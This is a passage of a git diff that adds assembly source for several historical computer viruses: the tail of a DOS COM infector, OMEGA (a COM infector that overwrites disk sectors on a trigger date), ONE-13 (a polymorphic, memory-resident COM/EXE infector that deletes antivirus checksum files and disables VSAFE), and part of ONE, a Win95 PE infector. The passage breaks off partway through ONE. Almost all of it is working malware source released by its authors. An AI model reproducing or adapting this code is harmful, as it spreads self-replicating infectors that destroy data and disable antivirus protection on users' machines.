[bp+muffler+1] + add bx,longer_than-my_dick+3 + cmp ax,bx + je find_next + jmp yo_over_here +find_next: + mov ah,4fh + jmp short findfirstyump_up_and_go + mov ah,3bh + lea dx,[bp+dot_dot] + int 21h + jnc gordon_effect + + mov bx,word ptr [bp+muffler+1] + add bx,longer_than-my_dick+3 +yo_over_here: mov cx,3 + sub ax,cx + lea si,[bp+offset muffler] + lea di,[bp+offset stash_3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax +finishgordon_effection: + push cx + xor cx,cx + call attributes + + + mov al,2 + call tear_it_open + + mov ah,40h + lea dx,[bp+muffler] + pop cx + int 21h + + mov ax,4202h + xor cx,cx + cwd + int 21h + + mov ah,40h + lea dx,[bp+my_dick] + mov cx,longer_than-my_dick + int 21h + + mov ax,5701h + mov cx,word ptr [bp+new_chunk+16h] + mov dx,word ptr [bp+new_chunk+18h] + int 21h + + mov ah,3eh + int 21h + + mov ch,0 + mov cl,byte ptr [bp+new_chunk+15h] + call attributes + +leave_heeruh_virus: + mov ax,2524h + lds dx,[bp+offset stash_box] + int 21h + push cs + pop ds + +olley: call put_fletch_on_it + +tear_it_open proc near + mov ah,3dh + lea dx,[bp+new_chunk+30] + int 21h + xchg ax,bx + ret +endp tear_it_open + +attributes proc near + mov ax,4301h + lea dx,[bp+new_chunk+30] + int 21h + ret +endp attributes +int24: + mov al,3 + iret +yumpem_keep dd ? +how_many db ? +davey_jones dd ? +yumpem_keep2 db ? +stash_3 db 0cdh,20h,0 +davey_jones2 dd ? +what_we_wants db "*.COM",0 +muffler db 1ah dup (?) +stash_box dd ? +eyelash db ? +where_we_is db 64 dup (?) +new_chunk db 43 dup (?) +dot_dot db '..',0 + +;<><><><><><><><><><><><><><><><><><><><><><><><><><> +; Borrowed this segment from the VCL +;<><><><><><><><><><><><><><><><><><><><><><><><><><> + +bang_bang proc near + mov cx,0025h +new_shot: push cx + mov dx,0140h + mov bx,0100h + in al,061h + and al,11111100b +fire_shot: xor al,2 + out 061h,al + add dx,09248h + mov cl,3 + ror dx,cl + mov cx,dx + and cx,01FFh + or cx,10 +shoot_pause: loop shoot_pause + dec bx + jnz fire_shot + and al,11111100b + out 061h,al + mov bx,0002h + xor ah,ah + int 1Ah + add bx,dx +shoot_delay: int 1Ah + cmp dx,bx + jne shoot_delay + pop cx + loop new_shot +endp bang_bang + +fuck_da_monkey proc near + ;xor ah,ah + ;int 1Ah + ;xchg dx,ax + ;mov dx,0FFh +out_loop: ;out dx,al + ;dec dx + ;jne out_loop + + ;mov al,0002h + ;mov cx,3 + ;lea dx,stupid_shit1_file + ;int 26h + + ;cli + ;hlt + ;jmp short $ +endp fuck_da_monkey + int 20h +longer_than: + end my_dick + \ No newline at end of file diff --git a/o/OMEGA.ASM b/o/OMEGA.ASM new file mode 100755 index 0000000..81f2706 --- /dev/null +++ b/o/OMEGA.ASM @@ -0,0 +1,308 @@ + +PAGE 59,132 + +; +; +; OMEGA +; +; Created: 4-Dec-91 +; +; Disassembled by -=>Wasp<=- aka >>Night Crawler<< +; +; Reassemble with TASM 2.0 +; + +DATA_1E EQU 80H + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +OMEGA PROC FAR + +START: + PUSH AX + PUSH CS + POP DS + CALL SUB_1 ; (0106) + +OMEGA ENDP + +; +; SUBROUTINE +; + +SUB_1 PROC NEAR + POP BP + LEA BP,[BP+1AFH] ; Load effective addr + MOV AH,1AH + MOV DX,BP + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + LEA DI,[BP+30H] ; Load effective addr + MOV [BP+2EH],DI + CALL SUB_5 ; (01DC) + CALL SUB_4 ; (0184) + LEA DI,[BP+30H] ; Load effective addr + LEA SI,[BP-5] ; Load effective addr + NOP + CALL SUB_2 ; (015D) + MOV [BP+2EH],DI + CALL SUB_5 ; (01DC) + CALL SUB_4 ; (0184) + MOV AH,2AH ; '*' + INT 21H ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + CMP AL,5 + JNE LOC_1 ; Jump if not equal + CMP DL,0DH + JNE LOC_1 ; Jump if not equal + CALL SUB_3 ; (0165) + INT 20H ; Program Terminate +LOC_1: + MOV AH,1AH + MOV DX,DATA_1E + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + LEA SI,[BP-1B8H] ; Load effective addr + MOV DI,OFFSET DS:[100H] + CLD ; Clear direction + MOVSW ; Mov [si] to es:[di] + MOVSB ; Mov [si] to es:[di] + PUSH CS + POP ES + PUSH CS + POP DS + POP AX + MOV DI,OFFSET START + PUSH DI + RETN +SUB_1 ENDP + + +; +; SUBROUTINE +; + +SUB_2 PROC NEAR +LOC_2: + LODSB ; String [si] to al + STOSB ; Store al to es:[di] + OR AL,AL ; Zero ? + JNZ LOC_2 ; Jump if not zero + DEC DI + RETN +SUB_2 ENDP + + +; +; SUBROUTINE +; + +SUB_3 PROC NEAR + MOV AH,2 + MOV DL,0EAH + INT 21H ; DOS Services ah=function 02h + ; display char dl + MOV AX,308H + MOV CX,1 + MOV DX,80H + INT 13H ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + MOV AX,308H + MOV CX,1 + MOV DX,180H + INT 13H ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + RETN +SUB_3 ENDP + + DB 2AH, 00H + +; +; SUBROUTINE +; + +SUB_4 PROC NEAR + LEA SI,[BP-133H] ; Load effective addr + MOV DI,[BP+2EH] + PUSH DI + CALL SUB_2 ; (015D) + POP DI + LEA DX,[BP+30H] ; Load effective addr + MOV AH,4EH ; 'N' + MOV CX,10H + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JC LOC_RET_7 ; Jump if carry Set +LOC_3: + CMP BYTE PTR [BP+1EH],2EH ; '.' + JE LOC_6 ; Jump if equal + PUSH DI + LEA SI,[BP+1EH] ; Load effective addr + CALL SUB_2 ; (015D) + MOV AL,5CH ; '\' + STOSB ; Store al to es:[di] + MOV [BP+2EH],DI + SUB SP,15H + MOV CX,15H + MOV DI,SP + MOV SI,BP + +LOCLOOP_4: + MOVSB ; Mov [si] to es:[di] + LOOP LOCLOOP_4 ; Loop if cx > 0 + + CALL SUB_5 ; (01DC) + MOV CX,15H + MOV SI,SP + MOV DI,BP + +LOCLOOP_5: + MOVSB ; Mov [si] to es:[di] + LOOP LOCLOOP_5 ; Loop if cx > 0 + + ADD SP,15H + POP DI +LOC_6: + MOV AH,4FH ; 'O' + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JC LOC_RET_7 ; Jump if carry Set + JMP SHORT LOC_3 ; (019C) + +LOC_RET_7: + RETN +SUB_4 ENDP + + DB 2AH, 2EH, 43H, 4FH, 4DH, 00H + +; +; SUBROUTINE +; + +SUB_5 PROC NEAR + LEA SI,[BP-0DFH] ; Load effective addr + MOV DI,[BP+2EH] + CALL SUB_2 ; (015D) + LEA DX,[BP+30H] ; Load effective addr + MOV AH,4EH ; 'N' + MOV CX,0 + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JC LOC_RET_11 ; Jump if carry Set +LOC_8: + CMP WORD PTR [BP+1AH],0F000H + JA LOC_10 ; Jump if above + LEA SI,[BP+1EH] ; Load effective addr + MOV DI,[BP+2EH] + CALL SUB_2 ; (015D) + LEA DX,[BP+30H] ; Load effective addr + MOV AX,3D02H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_10 ; Jump if carry Set + MOV BX,AX + MOV AX,4202H + MOV DX,0FF21H + MOV CX,0FFFFH + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_9 ; Jump if carry Set + MOV WORD PTR [BP+2BH],0 + LEA DX,[BP+2BH] ; Load effective addr + MOV AH,3FH ; '?' + MOV CX,2 + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + JC LOC_9 ; Jump if carry Set + CMP WORD PTR [BP+2BH],2E2AH + JE LOC_9 ; Jump if equal + CALL SUB_6 ; (0243) +LOC_9: + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle +LOC_10: + MOV AH,4FH ; 'O' + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JC LOC_RET_11 ; Jump if carry Set + JMP SHORT LOC_8 ; (01F2) + +LOC_RET_11: + RETN +SUB_5 ENDP + + +; +; SUBROUTINE +; + +SUB_6 PROC NEAR + MOV AX,4200H + MOV CX,0 + MOV DX,0 + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JNC LOC_12 ; Jump if carry=0 + JMP SHORT LOC_RET_13 ; (02AF) +LOC_12: + MOV AH,3FH ; '?' + MOV CX,3 + LEA DX,[BP+2BH] ; Load effective addr + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + JC LOC_RET_13 ; Jump if carry Set + MOV AX,4202H + MOV CX,0 + MOV DX,0 + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_RET_13 ; Jump if carry Set + MOV AH,40H ; '@' + MOV CX,3 + LEA DX,[BP+2BH] ; Load effective addr + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + JC LOC_RET_13 ; Jump if carry Set + MOV AH,40H ; '@' + MOV CX,1B5H + LEA DX,[BP-1B5H] ; Load effective addr + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + JC LOC_RET_13 ; Jump if carry Set + MOV AX,4200H + MOV CX,0 + MOV DX,0 + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_RET_13 ; Jump if carry Set + MOV AX,[BP+1AH] + MOV DI,OFFSET DS:[101H] + STOSW ; Store ax to es:[di] + MOV AH,40H ; '@' + MOV CX,3 + MOV DX,OFFSET DS:[100H] + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + JC LOC_RET_13 ; Jump if carry Set + MOV AX,5701H + MOV CX,[BP+16H] + MOV DX,[BP+18H] + INT 21H ; DOS Services ah=function 57h + ; get/set file date & time + +LOC_RET_13: + RETN +SUB_6 ENDP + + DB 43H, 3AH, 5CH, 00H, 00H + +SEG_A ENDS + + + + END START diff --git a/o/ONE-13.ASM b/o/ONE-13.ASM new file mode 100755 index 0000000..ecd8318 --- /dev/null +++ b/o/ONE-13.ASM @@ -0,0 +1,429 @@ + +; - +; One/Thirteenth - coded by irogen [NuKE] on 02-23-95 +; - +; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector +; -Deletes Invircible Signature Files from disk no matter what name +; they are under. +; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS. +; -Avoids Infecting InVircible Bait Files +; -Disables VSAFE/VWATCH if in memory +; -Avoids new format EXEs +; -Installs it's own INT 24h +; -EXE Id is: Checksum Not 0 +; -COM Id is: Fourth byte 0 +; -Resident Check: VSAFE/VWATCH API , ret:SI=0 +; +; Polymorphism: iCE v0.3 /w JMPS ON & ANTI-TBSCAN CODE ON +; +; +; +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +buf_size equ 170 +vice_size equ 1761+buf_size +virus_size equ (offset vend-offset start)+VICE_SIZE + +extrn _vice: near + +org 0h +start: + int 3 + call nx ; get relative offset +nx: mov si,sp ; no-heuristic + sub word ptr ss: [si],offset nx + mov bp,word ptr ss: [si] + add sp,2 + + push ds es ; save segments for EXE + inc si + mov ax,1000 + add ax,signal-1000 ; no heuristics m0n + mov dx,vsafe_word + int 21h + or si,si + jz no_install ; if carry then we are + + mov ax,ds ; PSP segment + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + mov al,'Z' ; no heuristics + cmp byte ptr ds: [0],al ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB + sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,virus_size/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem + +no_install: + + pop es ds ; restore ES DS + xor ax,ax ; null regs + xor bx,bx + xor dx,dx + cmp cs: is_exe[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + mov cx,2 + rep movsw + + mov cx,100h ; jump back to 100h + push cx +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + db 0eah +exe_jump dd 0 +is_exe db 0 + +; +; Main Infection Routine +; +infect_file: + + push dx + pop si + + push ds + xor ax,ax ; null ES + mov es,ax + lds ax,es: [24h*4] ; get INT 24h vector + mov cs: old_24_off,ax ; save it + mov cs: old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds + push es ; we'll need it later + push cs + pop es + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs + push ax cx ; save AX-call/CX-attrib + xor cx,cx + int 21h + + mov ax,3d02h ; open the file + int 21h + jc dont_do + + mov bx,ax ; get handle + + push cs + pop ds + + mov ah,3fh ; Read first bytes of file + mov cx,20h + lea dx,org_bytes + int 21h + + call kill_anti_virus ; kill validation filez + + cmp byte ptr org_bytes,'M' + jz do_exe + cmp byte ptr org_bytes,90h ; InVircible bait? + jz close + cmp byte ptr org_bytes+3,0 + jz close + + mov is_exe,0 + + mov ax,5700h ; get time/date + int 21h + push cx dx + + call offset_end + push ax ; AX=end of file + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor/ + push di ; encrypted code. (at heap) + mov cx,virus_size ; CX=virus size + mov dx,ax ; DX=EOF offset + add dx,100h ; DX=offset decryptor will run from + mov al,00001111b ; jmps,anti-tbscan, garbage, no CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax + + lea dx,new_jmp + mov cx,4 + mov ah,40h + int 21h + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + pop cx ax ; restore attrib + int 21h + + mov ah,3eh + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret + +do_exe: + + cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? + jnz close + cmp byte ptr exe_header[18h],52h ; pklite'd? + jz exe_ok + cmp byte ptr exe_header[18h],40h ; don't infect new format exe + jge close +exe_ok: + push bx + + mov ah,2ch ; grab a random number + int 21h + mov word ptr exe_header[12h],dx ; mark that it's us + mov is_exe,1 + + les ax,dword ptr exe_header+14h ; Save old entry point + mov word ptr ds: exe_jump, ax + mov word ptr ds: exe_jump+2, es + + push cs + pop es + + call offset_end + + push dx ax ; save file size DX:AX + + mov bx, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *16 + shl bx,cl ; ^by shifting one byte + sub ax,bx ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide AX/CX rDX + div cx + + mov word ptr exe_header+14h,dx + mov word ptr exe_header+16h,ax + mov rel_off,dx + + pop ax ; AX:DX file size + pop dx + pop bx + + mov cx,virus_size+10h ; calc. new size + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax ; ax=size+virus + and ah,1 + + mov word ptr exe_header+4h,dx + mov word ptr exe_header+2h,ax + + lea si,start ; DS:SI=start of code to encrypt + mov di,virus_size ; ES:DI=address for decryptor and + push di ; encrypted code (at heap) + mov cx,virus_size ; CX=virus size + mov dx,rel_off ; DX=offset decryptor will run from + mov al,00001110b ; jmps,anti-tbscan,garbage, use CS: + call _vice ; call engine! + + pop dx + mov ah,40h + int 21h + + call offset_zero + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp close + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files +; +kill_anti_virus: + push bx + mov ah,1ah ; set DTA + lea dx,ff_info + int 21h + mov cx,16h ; include all attribs + lea dx,inv_spec + mov ah,4eh + int 21h ; findfirst + jnc inv_loop + jmp inv_done +inv_loop: + lea si,f_name + push si + mov dx,si + cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT? + jz is_anti + cmp word ptr [si+8],'SM' ; CHKLIST.MS? + jz is_anti + cmp word ptr [si+8],'PC' ; CHKLIST.CPS? + jz is_anti + cmp f_sizeh,0 ; high word set? + jnz findnext + cmp f_sizel,10000 ; > 10000 bytes? + jg findnext + mov ax,3d00h + int 21h + jc findnext + xchg ax,bx + mov ah,3fh + mov cl,2 + lea dx,inv_word + int 21h + mov ah,3eh + int 21h + mov ax,word ptr inv_word + mov cl,4 + lea si,false_struct +test_false: ; test for false positives + cmp ax,[si] + jz findnext + inc si + inc si + loop test_false + + xor al,ah ; xor first byte by second + lea si,iv_struct + mov cl,6 +test_iv: ; test if invircible + cmp al,[si] + jz is_anti + inc si + loop test_iv + jmp findnext +is_anti: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h + lea dx,f_name + int 21h +findnext: + mov al,0 ; null out filename + pop di ; di-> fname + mov cl,13 + rep stosb + mov ah,4fh + int 21h + jc inv_done + jmp inv_loop +inv_done: + pop bx + ret + +inv_word dw 0 +inv_spec db '*.*',0 +iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives +false_struct dw 'ZM' ; EXE Header + dw 'KP' ; PKZIP archive + dw 0EA60h ; ARJ archive + dw 'ER' ; REM in batch files +; +; new 21h + +new21: + + pushf + cmp ax,signal ; be it us? + jnz nchk ; richtig.. + cmp dx,vsafe_word + jnz nchk + xor si,si + mov di,4559h + jmp jmp_org +nchk: cmp ax,4b00h ; execute phile? + jnz jmp_org + + push ax bx cx di dx si ds es + call infect_file + pop es ds si dx di cx bx ax + +jmp_org: + popf + db 0eah ; jump far XXXX:XXXX + old21 dd 0 + +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + + +credits db 'One/Thirteenth, coded by irogen [NuKE]' +new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 +rel_off dw 0 +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +vend: ; end of virus on disk .. heap + db 16h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +ff_info db 26 dup(0) +f_sizel dw 0 +f_sizeh dw 0 +f_name db 13 dup(0) +cseg ends + end start + diff --git a/o/ONE.asm b/o/ONE.asm new file mode 100755 index 0000000..5f0b008 --- /dev/null +++ b/o/ONE.asm @@ -0,0 +1,701 @@ + +; ONE V1.0b By JFK/SGWW +; +; +; ONE is not only my first Win95 virus, but also my first virus +; which I have released. I'm not really all that proud of it, +; cause it didn't turn out at all to be what I had expected. But hey, +; maybe next time :) Hmmm, this virus really has no chance of +; spreading because it never moves out of its current directory. +; It's more or less just a learning experience. +; +; Features: +; * File Mapping (though it's sorta pointless because off all +; the normal reads) +; * Capable of infecting read only files. +; * Only increases a files size if it has to. +; * LOTS O' COMMENTS!!!! :-) +; +; Description: +; One will look in the current directory for *.exe files until +; it finds one that it should/can infect or until there are no +; more exe files. When a exe file is found, One reads in the PE +; header, and object table. One closes the file and looks for +; the next exe file if it determines the current file has already +; been infected. If the file has not been infected, One figures +; out all the new sizes of objects and stuff like that for the +; host. One then maps the file to memory, fills in the new PE +; header, object table, and appends the virus code to the end of +; the last object. One then unmaps the file, and closes it which +; automatically saves the changes made while mapped. One then +; starts all over looking for more *.exe files, if one is not found, +; control is given to the host's original entry point. +; +; Notes: +; * ONE will NOT work on WinNT +; * First generations crash. (because OldEA is 0) +; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen. +; +; Greetz: +; Dakota: Your web page looks pretty nice! +; #virus & #vir (undernet): hiya :) +; SGWW: Thanx for accepting me as one of you. +; paw: Watch out pal, I've been practicing my trivia! +; RAiD: alt.comp.virus.raid-vs-avers??? :) +; Yesna: Did you forget your password on X? You never have ops! =) +; Opic: Did you find any good BBS's yet!?!? heheh +; LovinGod: You need a book on winsock bro! ;) +; Virogen: Ok, so this is not exactly the kernel infector I was talking about. +; Gloomy: ne ebi mozgi! :)))) +; +; Assemble with: +; tasm32 -ml -m5 -q -zn one.asm +; tlink32 -Tpe -c -x -aa one,,, import32 +; pewrsec one.exe + +.386p +.model flat + +include Win32API.inc + +v_size equ v_end - v_start ;Virus absolute size in filez. + + +extrn ExitProcess :proc + +.data + db ? ;Some dummy data so tlink32 dont yell. + +.code +v_start: + push eax ;Save room for old Entry Point. + pushad ;Save registers. + add esp, 36d ;ESP->After saved registers+4. + + call OldTrick ;Get delta offset. +OldTrick: pop ebp + sub ebp, offset OldTrick ;EBP = delta offset. + + mov eax, [ebp+OldEA] ;Address for return. + push eax ;Save it. + sub esp, 32d ;Fix stack. + + mov eax, 15d + mov [ebp+lpfGetProcAddress], eax + +findK32PEHeader: + mov edi, 0BFF6FFFFh ;Will be inc'ed later + mov ecx, 00000300h ;Scan this many bytes. + mov eax, 00004550h ;Scan for "PE\0\0". + +F_PE_I_Edi: + inc edi +Find_PE: + repne scasb ;Repeat while not equal, scan byte. + jne RestoreHost ;Bomb if not found. + + cmp [edi-1], eax ;Is this dword "PE/0/0"? + jne Find_PE ;Nope, continue scanning. + + dec edi ;EDI was +1 off from Repne Scasb + mov bx, word ptr [edi+16h] ;Get characteristics word. + and bx, 0F000h ;Unmask the bytes we need. + cmp bx, 2000h ;Is it 2000h (a DLL)? + jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel. + + mov eax, [edi+34h] ;EAX = Image Base (or Image Handle) + mov [ebp+K32Base], eax ;Save Image base. + mov ebx, [edi+78h] ;Get RVA of Export Table. + add ebx, [ebp+K32Base] ;Add Base Address. + mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers. + add edi, [ebp+K32Base] ;Add Base Address. + + ;Determine offset for unnamed functions. + mov ecx, [ebx+14h] ;Number of functions... + sub ecx, [ebx+18h] ;...less number of names... + mov eax, 4 ;...times by four. + mul ecx ;Do it. + mov [ebp+UnnamedOffset], eax ;Save it. + + ;Calculate number of double words in string pointer array. + mov ecx, [ebx+18h] ;Number of names... + mov eax, 4 ;...times by four. + mul ecx ;Do it. + xchg ecx, eax ;CX=Num dwords. + + mov edx, edi ;Mul fucked up EDX,EDX=start of array. + +CheckFunctionName: + sub ecx, 4 ;Next name. + mov edi, edx ;Base address... + add edi, ecx ;...plus array index. + mov edi, [edi] ;Get RVA of name. + add edi, [ebp+K32Base] ;Add base address. + + lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record. + lea eax, [ebp+lpfGetProcAddress] ;Save entry point here. + call ExtractAbsoluteAddress ;Check this name for it. + + cmp ecx, 0 ;Checked all the names? + jne CheckFunctionName ;Nope. Check the next name. + + cmp [ebp+lpfGetProcAddress], 00h ;Did we get it? + je RestoreHost ;Nope! :( + + ;Get all of our needed API offsets from memory. + lea esi, [ebp+ImportTable] ;Start of stucture for offsets. + mov edx, esi ;Same. +GFO_NextChar: + mov bl, [edx] ;bl = next char in table. + cmp bl, 0 ;Is it 0? + je GFO_ItsZero ;Yeah. + cmp bl, '-' ;Is it the end of the table? + je After_GFO ;Yeah, continue. + inc edx ;Next char. + jmp GFO_NextChar ;Loop. +GFO_ItsZero: + inc edx ;EDX -> where offset will go. + mov eax, esi ;EAX -> function name. + push edx ;Save EDX. + call MyGetProcAddress ;Get this function's offset. + jc RestoreHost ;Quit on fail. + pop edx ;Restore EDX. + mov [edx], eax ;Save offset. + add edx, 4 ;EDX -> next functions name. + mov bl, [edx] ;BL = first char of name. + cmp bl, '-' ;Are we done yet? + je After_GFO ;Yep. + mov esi, edx ;ESI -> Next functions name. + inc edx ;Check next char. + jmp GFO_NextChar ;Do it. +After_GFO: + + ;Look for FIRST *.exe file. + lea eax, [ebp+FoundFileData] ;Where to store results. + push eax + lea eax, [ebp+lpsExeFiles] ;Name of files to look for. + push eax + call [ebp+lpfFindFirstFileA] ;Direct API call. +;On return, if a file with the name is found, eax = the handle, +;otherwise eax=FFFFFFFF + cmp eax, 0FFFFFFFFh ;No file found? + je RestoreHost ;No more exe files in this folder. + mov [ebp+FoundFileHandle], eax ;Save handle. + +MainLoop: + call ReadInPEHeader ;Read in the files PE header. + cmp ebx, 0 ;Did we fail? + je FindNextFile ;Next file on failure. + + call SetNOAttribs ;Remove files attributes. + jc FindNextFile ;Couldnt set attributes. + + call OpenFile ;Open the file. + jc FindNextFile ;Couldnt open file. + + call MapFile ;Map this file into memory + jc MapFailed ;Couldn't map file. + + call InfectFile ;Infect it. + + push dword ptr [ebp+MapBaseAddr] + call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory. + +MapFailed: + call CloseFile ;Close the file. + + call RestoreAttribs ;Restore the original attributes. + + +FindNextFile: + lea eax, [ebp+FoundFileData] ;Where to store results. + push eax + push dword ptr [ebp + offset FoundFileHandle] + ;Handle from previous searches. + call [ebp+lpfFindNextFileA] ;Do it. + or eax, eax ;Success? + jnz MainLoop ;Yes, Continue search. + +RestoreHost: + popad + ret + +;*********************** +;****** Functions ****** +;*********************** + +;**** InfectFile **** + +InfectFile PROC + ;Append virus code to end of last object. + mov edx, [ebp+OldPhysSize] ;Physical size of object. + add edx, [esi+20d] ;Physical offset of object. + add edx, [ebp+MapBaseAddr] ;Plus of mapped object. + + lea eax, v_start ;EAX = start of virus. + add eax, ebp ;Plus delta offset. + + mov ecx, v_size ;Number of bytes to write. + call WriteMem ;write it. + + ;Write new object table to host. + mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object. + add eax, 3Ch ;Offset of -> to PE header. + mov eax, [eax] ;EAX -> PE header + add eax, [ebp+MapBaseAddr] ;Add base of mapped object. + add eax, 18h ;EAX -> AFTER flags field. + xor edx, edx ;EDX = 0h + mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header. + add edx, eax + + lea eax, ObjectTable ;EAX -> new object table. + add eax, ebp ;Add delta offset. + + mov ecx, 240d ;Size of new object table. + call WriteMem ;Write it. + + ;Write new PE header to host. + mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object. + add edx, 3Ch ;Offset of -> to PE header. + mov edx, [edx] ;EDX -> PE header + add edx, [ebp+MapBaseAddr] ;Add base of mapped object. + + lea eax, PE_Header ;EAX = offset of new PE header. + add eax, ebp ;Plus delta offset. + + mov ecx, 54h ;Size of new PE header. + call WriteMem ;Write it. + + ret +InfectFile ENDP + +;**** WriteMem **** + +WriteMem PROC +WM_NextByte: + mov bl, [eax] ;Byte from virus. + mov [edx], bl ;Write to host. + dec ecx ;One less byte to write. + inc eax ;Next virus byte. + inc edx ;Next target byte. + cmp ecx, 0 ;Did we write the whole virus? + jne WM_NextByte ;Nope, do next byte. + ret +WriteMem ENDP + +;**** ReadInPEHeader **** + +ReadInPEHeader PROC + call SetNOAttribs ;Needed for OpenFile. + jc RIPH_Failed ;Couldnt remove attributes. + call OpenFile ;Open the file. + jc RIPH_Failed ;Couldnt open this file. + + ;Move file pointer to where the offset to PE should be. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits to move. + mov eax, 3Ch ;-> offset of PE header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in offset of PE header in file. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 4 ;# of bytes to read. + lea eax, [ebp+DataFromFile] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Move the file pointer to the PE header. + push 0 ;FILE_BEGIN = 00000000h + push 0 ;High order 32 bits of move. + mov eax, [ebp+DataFromFile] ;Offset of PE header. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to fuck with. + call [ebp+lpfSetFilePointer] ;Set the file pointer. + + ;Read in the PE header. + push 0 + lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read. + push eax + push 54h ;# of bytes to read. + lea eax, [ebp+PE_Header] ;Buffer for read. + push eax + push dword ptr [ebp+OpenFileHandle] ;File to read from. + call [ebp+lpfReadFile] ;Read from file. + + ;Do some checks. + mov eax, [ebp+FileBytesRead] ;# of bytes read. + cmp eax, 54h ;Did we read in enough? + jne RIPH_Failed ;Nope. + mov eax, [ebp+Reserved9] ;EAX = infection marker. + cmp eax, 0h ;Is it infected already? + jne RIPH_Failed ;Yes. + mov ax, word ptr [ebp+Sig_Bytes] ;PE signature. + cmp ax, 'EP' ;Is this a PE file? + jne RIPH_Failed ;Nope. + mov ax, [ebp+NumbOfObjects] ;Number of objects in file. + cmp ax, 6 ;Too many objects? + ja RIPH_Failed ;Yep + + ;Move 